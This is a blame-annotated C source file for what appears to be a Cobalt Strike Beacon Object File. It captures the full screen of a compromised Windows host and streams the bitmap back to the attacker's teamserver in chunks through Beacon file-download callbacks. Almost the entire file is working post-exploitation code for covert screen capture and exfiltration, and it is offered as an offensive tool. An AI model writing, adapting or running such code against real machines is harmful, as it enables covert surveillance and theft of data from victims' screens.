2022-10-23 01:58:24 -07:00
|
|
|
#include <windows.h>
|
|
|
|
#include <stdio.h>
|
|
|
|
#include "bofdefs.h"
|
2022-10-23 10:04:20 -07:00
|
|
|
|
2022-10-23 01:58:24 -07:00
|
|
|
#pragma comment(lib, "User32.lib")
|
|
|
|
#pragma comment(lib, "Gdi32.lib")
|
|
|
|
|
2022-11-01 03:32:38 -07:00
|
|
|
char downloadfilename[] = "screenshot.bmp";
|
|
|
|
/*Download File*/
|
2022-10-28 14:27:48 -07:00
|
|
|
void downloadFile(char* fileName, int downloadFileNameLength, char* returnData, int fileSize) {
|
|
|
|
|
|
|
|
//Intializes random number generator to create fileId
|
|
|
|
time_t t;
|
|
|
|
MSVCRT$srand((unsigned)MSVCRT$time(&t));
|
|
|
|
int fileId = MSVCRT$rand();
|
|
|
|
|
|
|
|
//8 bytes for fileId and fileSize
|
|
|
|
int messageLength = downloadFileNameLength + 8;
|
|
|
|
char* packedData = (char*)MSVCRT$malloc(messageLength);
|
|
|
|
|
|
|
|
//pack on fileId as 4-byte int first
|
|
|
|
packedData[0] = (fileId >> 24) & 0xFF;
|
|
|
|
packedData[1] = (fileId >> 16) & 0xFF;
|
|
|
|
packedData[2] = (fileId >> 8) & 0xFF;
|
|
|
|
packedData[3] = fileId & 0xFF;
|
|
|
|
|
|
|
|
//pack on fileSize as 4-byte int second
|
|
|
|
packedData[4] = (fileSize >> 24) & 0xFF;
|
|
|
|
packedData[5] = (fileSize >> 16) & 0xFF;
|
|
|
|
packedData[6] = (fileSize >> 8) & 0xFF;
|
|
|
|
packedData[7] = fileSize & 0xFF;
|
|
|
|
|
|
|
|
int packedIndex = 8;
|
|
|
|
|
|
|
|
//pack on the file name last
|
|
|
|
for (int i = 0; i < downloadFileNameLength; i++) {
|
|
|
|
packedData[packedIndex] = fileName[i];
|
|
|
|
packedIndex++;
|
|
|
|
}
|
|
|
|
|
|
|
|
BeaconOutput(CALLBACK_FILE, packedData, messageLength);
|
|
|
|
|
|
|
|
if (fileSize > (1024 * 900)) {
|
|
|
|
|
|
|
|
//Lets see how many times this constant goes into our file size, then add one (because if it doesn't go in at all, we still have one chunk)
|
|
|
|
int numOfChunks = (fileSize / (1024 * 900)) + 1;
|
|
|
|
int index = 0;
|
|
|
|
int chunkSize = 1024 * 900;
|
|
|
|
|
|
|
|
while (index < fileSize) {
|
|
|
|
if (fileSize - index > chunkSize) {//We have plenty of room, grab the chunk and move on
|
|
|
|
|
|
|
|
/*First 4 are the fileId
|
|
|
|
then account for length of file
|
|
|
|
then a byte for the good-measure null byte to be included
|
|
|
|
then lastly is the 4-byte int of the fileSize*/
|
|
|
|
int chunkLength = 4 + chunkSize;
|
|
|
|
char* packedChunk = (char*)MSVCRT$malloc(chunkLength);
|
|
|
|
|
|
|
|
//pack on fileId as 4-byte int first
|
|
|
|
packedChunk[0] = (fileId >> 24) & 0xFF;
|
|
|
|
packedChunk[1] = (fileId >> 16) & 0xFF;
|
|
|
|
packedChunk[2] = (fileId >> 8) & 0xFF;
|
|
|
|
packedChunk[3] = fileId & 0xFF;
|
|
|
|
|
|
|
|
int chunkIndex = 4;
|
|
|
|
|
|
|
|
//pack on the file name last
|
|
|
|
for (int i = index; i < index + chunkSize; i++) {
|
|
|
|
packedChunk[chunkIndex] = returnData[i];
|
|
|
|
chunkIndex++;
|
|
|
|
}
|
|
|
|
|
|
|
|
BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength);
|
|
|
|
|
|
|
|
}
|
|
|
|
else {//This chunk is smaller than the chunkSize, so we have to be careful with our measurements
|
|
|
|
|
|
|
|
int lastChunkLength = fileSize - index + 4;
|
|
|
|
char* lastChunk = (char*)MSVCRT$malloc(lastChunkLength);
|
|
|
|
|
|
|
|
//pack on fileId as 4-byte int first
|
|
|
|
lastChunk[0] = (fileId >> 24) & 0xFF;
|
|
|
|
lastChunk[1] = (fileId >> 16) & 0xFF;
|
|
|
|
lastChunk[2] = (fileId >> 8) & 0xFF;
|
|
|
|
lastChunk[3] = fileId & 0xFF;
|
|
|
|
int lastChunkIndex = 4;
|
|
|
|
|
|
|
|
//pack on the file name last
|
|
|
|
for (int i = index; i < fileSize; i++) {
|
|
|
|
lastChunk[lastChunkIndex] = returnData[i];
|
|
|
|
lastChunkIndex++;
|
|
|
|
}
|
|
|
|
BeaconOutput(CALLBACK_FILE_WRITE, lastChunk, lastChunkLength);
|
|
|
|
}
|
|
|
|
|
|
|
|
index = index + chunkSize;
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
}
|
|
|
|
else {
|
|
|
|
|
|
|
|
/*first 4 are the fileId
|
|
|
|
then account for length of file
|
|
|
|
then a byte for the good-measure null byte to be included
|
|
|
|
then lastly is the 4-byte int of the fileSize*/
|
|
|
|
int chunkLength = 4 + fileSize;
|
|
|
|
char* packedChunk = (char*)MSVCRT$malloc(chunkLength);
|
|
|
|
|
|
|
|
//pack on fileId as 4-byte int first
|
|
|
|
packedChunk[0] = (fileId >> 24) & 0xFF;
|
|
|
|
packedChunk[1] = (fileId >> 16) & 0xFF;
|
|
|
|
packedChunk[2] = (fileId >> 8) & 0xFF;
|
|
|
|
packedChunk[3] = fileId & 0xFF;
|
|
|
|
int chunkIndex = 4;
|
|
|
|
|
|
|
|
//pack on the file name last
|
|
|
|
for (int i = 0; i < fileSize; i++) {
|
|
|
|
packedChunk[chunkIndex] = returnData[i];
|
|
|
|
chunkIndex++;
|
|
|
|
}
|
|
|
|
|
|
|
|
BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength);
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
//We need to tell the teamserver that we are done writing to this fileId
|
|
|
|
char packedClose[4];
|
|
|
|
|
|
|
|
//pack on fileId as 4-byte int first
|
|
|
|
packedClose[0] = (fileId >> 24) & 0xFF;
|
|
|
|
packedClose[1] = (fileId >> 16) & 0xFF;
|
|
|
|
packedClose[2] = (fileId >> 8) & 0xFF;
|
|
|
|
packedClose[3] = fileId & 0xFF;
|
|
|
|
BeaconOutput(CALLBACK_FILE_CLOSE, packedClose, 4);
|
|
|
|
|
|
|
|
return;
|
|
|
|
}
|
|
|
|
|
2022-10-23 01:58:24 -07:00
|
|
|
#pragma region error_handling
|
|
|
|
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
|
|
|
|
BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
|
|
|
|
#ifdef BOF
|
|
|
|
BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr);
|
|
|
|
#else
|
|
|
|
printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
|
|
|
|
#endif // BOF
|
|
|
|
|
|
|
|
return FALSE;
|
|
|
|
}
|
|
|
|
#pragma endregion
|
|
|
|
|
|
|
|
|
2022-11-01 03:32:38 -07:00
|
|
|
BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName)
|
2022-10-23 01:58:24 -07:00
|
|
|
{
|
|
|
|
HDC hDC;
|
|
|
|
int iBits;
|
|
|
|
WORD wBitCount;
|
|
|
|
DWORD dwPaletteSize = 0, dwBmBitsSize = 0, dwDIBSize = 0, dwWritten = 0;
|
|
|
|
BITMAP Bitmap0;
|
|
|
|
BITMAPFILEHEADER bmfHdr;
|
|
|
|
BITMAPINFOHEADER bi;
|
|
|
|
LPBITMAPINFOHEADER lpbi;
|
|
|
|
HANDLE fh, hDib, hPal, hOldPal2 = NULL;
|
|
|
|
hDC = CreateDC(TEXT("DISPLAY"), NULL, NULL, NULL);
|
|
|
|
iBits = GetDeviceCaps(hDC, BITSPIXEL) * GetDeviceCaps(hDC, PLANES);
|
|
|
|
DeleteDC(hDC);
|
|
|
|
if (iBits <= 1)
|
|
|
|
wBitCount = 1;
|
|
|
|
else if (iBits <= 4)
|
|
|
|
wBitCount = 4;
|
|
|
|
else if (iBits <= 8)
|
|
|
|
wBitCount = 8;
|
|
|
|
else
|
|
|
|
wBitCount = 24;
|
|
|
|
GetObject(hBitmap, sizeof(Bitmap0), (LPSTR)&Bitmap0);
|
|
|
|
bi.biSize = sizeof(BITMAPINFOHEADER);
|
|
|
|
bi.biWidth = Bitmap0.bmWidth;
|
2022-10-28 14:27:48 -07:00
|
|
|
bi.biHeight = -Bitmap0.bmHeight;
|
2022-10-23 01:58:24 -07:00
|
|
|
bi.biPlanes = 1;
|
|
|
|
bi.biBitCount = wBitCount;
|
|
|
|
bi.biCompression = BI_RGB;
|
|
|
|
bi.biSizeImage = 0;
|
|
|
|
bi.biXPelsPerMeter = 0;
|
|
|
|
bi.biYPelsPerMeter = 0;
|
|
|
|
bi.biClrImportant = 0;
|
|
|
|
bi.biClrUsed = 256;
|
|
|
|
dwBmBitsSize = ((Bitmap0.bmWidth * wBitCount + 31) & ~31) / 8
|
|
|
|
* Bitmap0.bmHeight;
|
|
|
|
hDib = GlobalAlloc(GHND, dwBmBitsSize + dwPaletteSize + sizeof(BITMAPINFOHEADER));
|
|
|
|
lpbi = (LPBITMAPINFOHEADER)GlobalLock(hDib);
|
|
|
|
*lpbi = bi;
|
|
|
|
|
|
|
|
hPal = GetStockObject(DEFAULT_PALETTE);
|
|
|
|
if (hPal)
|
|
|
|
{
|
|
|
|
hDC = GetDC(NULL);
|
|
|
|
hOldPal2 = SelectPalette(hDC, (HPALETTE)hPal, FALSE);
|
|
|
|
RealizePalette(hDC);
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
GetDIBits(hDC, hBitmap, 0, (UINT)Bitmap0.bmHeight, (LPSTR)lpbi + sizeof(BITMAPINFOHEADER)
|
|
|
|
+ dwPaletteSize, (BITMAPINFO*)lpbi, DIB_RGB_COLORS);
|
|
|
|
|
|
|
|
if (hOldPal2)
|
|
|
|
{
|
|
|
|
SelectPalette(hDC, (HPALETTE)hOldPal2, TRUE);
|
|
|
|
RealizePalette(hDC);
|
|
|
|
ReleaseDC(NULL, hDC);
|
|
|
|
}
|
|
|
|
|
2022-10-25 09:28:47 -07:00
|
|
|
//fh = CreateFile(lpszFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, NULL);
|
2022-10-23 01:58:24 -07:00
|
|
|
|
2022-10-25 09:28:47 -07:00
|
|
|
//if (fh == INVALID_HANDLE_VALUE)
|
|
|
|
// return FALSE;
|
2022-10-23 01:58:24 -07:00
|
|
|
|
|
|
|
bmfHdr.bfType = 0x4D42; // "BM"
|
|
|
|
dwDIBSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + dwPaletteSize + dwBmBitsSize;
|
|
|
|
bmfHdr.bfSize = dwDIBSize;
|
|
|
|
bmfHdr.bfReserved1 = 0;
|
|
|
|
bmfHdr.bfReserved2 = 0;
|
|
|
|
bmfHdr.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER) + (DWORD)sizeof(BITMAPINFOHEADER) + dwPaletteSize;
|
2022-10-28 14:27:48 -07:00
|
|
|
void* bmpdata = malloc(sizeof(BITMAPFILEHEADER) + dwDIBSize);
|
2022-10-25 09:28:47 -07:00
|
|
|
memcpy(bmpdata, &bmfHdr, sizeof(BITMAPFILEHEADER));
|
2022-10-28 14:27:48 -07:00
|
|
|
memcpy(((char*)bmpdata) + sizeof(BITMAPFILEHEADER), lpbi, dwDIBSize);
|
|
|
|
|
2022-10-25 09:28:47 -07:00
|
|
|
|
2022-11-01 03:32:38 -07:00
|
|
|
downloadFile((char*)lpszFileName, sizeof(lpszFileName), (char*)bmpdata, (int)(sizeof(BITMAPFILEHEADER) + dwDIBSize));
|
2022-10-25 09:28:47 -07:00
|
|
|
//WriteFile(fh, (LPSTR)bmpdata, sizeof(BITMAPFILEHEADER)+ dwDIBSize, &dwWritten, NULL);
|
2022-10-23 01:58:24 -07:00
|
|
|
|
2022-10-25 09:28:47 -07:00
|
|
|
/* clean up */
|
2022-10-23 01:58:24 -07:00
|
|
|
GlobalUnlock(hDib);
|
|
|
|
GlobalFree(hDib);
|
2022-10-25 09:28:47 -07:00
|
|
|
//CloseHandle(fh);
|
2022-10-23 01:58:24 -07:00
|
|
|
return TRUE;
|
|
|
|
}
|
|
|
|
|
|
|
|
#ifdef BOF
|
|
|
|
void go(char* buff, int len) {
|
2022-10-25 09:28:47 -07:00
|
|
|
datap parser;
|
2022-11-01 03:32:38 -07:00
|
|
|
char * downloadfilename;
|
2022-10-28 14:27:48 -07:00
|
|
|
BeaconDataParse(&parser, buff, len);
|
2022-11-01 03:32:38 -07:00
|
|
|
downloadfilename = BeaconDataExtract(&parser, NULL);
|
|
|
|
BeaconPrintf(0x0, "[*] Tasked beacon to printscreen and save to %s",downloadfilename);
|
2022-10-23 01:58:24 -07:00
|
|
|
int x1, y1, x2, y2, w, h;
|
|
|
|
// get screen dimensions
|
|
|
|
x1 = GetSystemMetrics(SM_XVIRTUALSCREEN);
|
|
|
|
y1 = GetSystemMetrics(SM_YVIRTUALSCREEN);
|
|
|
|
x2 = GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
|
|
|
y2 = GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
|
|
|
w = x2 - x1;
|
|
|
|
h = y2 - y1;
|
|
|
|
|
|
|
|
// copy screen to bitmap
|
|
|
|
HDC hScreen = GetDC(NULL);
|
|
|
|
HDC hDC = CreateCompatibleDC(hScreen);
|
|
|
|
HBITMAP hBitmap = CreateCompatibleBitmap(hScreen, w, h);
|
|
|
|
HGDIOBJ old_obj = SelectObject(hDC, hBitmap);
|
|
|
|
BOOL bRet = BitBlt(hDC, 0, 0, w, h, hScreen, x1, y1, SRCCOPY);
|
|
|
|
|
|
|
|
//I was going to pull from the clipboard but then realized it
|
|
|
|
//was more trouble than it was worth, so I just saved it to a file. ~ CodeX
|
2022-10-23 10:04:20 -07:00
|
|
|
/*
|
2022-10-23 01:58:24 -07:00
|
|
|
// save bitmap to clipboard
|
|
|
|
OpenClipboard(NULL);
|
|
|
|
EmptyClipboard();
|
|
|
|
SetClipboardData(CF_BITMAP, hBitmap);
|
|
|
|
CloseClipboard();
|
2022-10-23 10:04:20 -07:00
|
|
|
*/
|
2022-10-23 01:58:24 -07:00
|
|
|
|
2022-11-01 03:32:38 -07:00
|
|
|
BeaconPrintf(0x0, "[+] PrintScreen saved to bitmap...");
|
|
|
|
LPCSTR filename = (LPCSTR)downloadfilename;
|
|
|
|
SaveHBITMAPToFile(hBitmap, (LPCTSTR)filename);
|
|
|
|
|
|
|
|
//BeaconPrintf(0x0, "[+] Printscreen bitmap saved to %s",downloadfilename);
|
2022-10-23 01:58:24 -07:00
|
|
|
// clean up
|
|
|
|
SelectObject(hDC, old_obj);
|
|
|
|
DeleteDC(hDC);
|
|
|
|
ReleaseDC(NULL, hScreen);
|
|
|
|
DeleteObject(hBitmap);
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
#else
|
|
|
|
|
|
|
|
void main(int argc, char* argv[]) {
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
#endif
|